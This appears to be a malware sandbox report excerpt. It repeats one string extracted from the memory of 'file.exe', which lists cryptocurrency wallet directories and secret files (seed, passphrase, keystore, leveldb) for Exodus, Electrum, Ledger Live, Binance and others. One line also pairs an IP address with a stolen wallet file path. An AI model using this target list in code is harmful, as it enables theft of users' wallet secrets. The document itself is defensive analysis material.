Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\.finger-print.fpY
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local 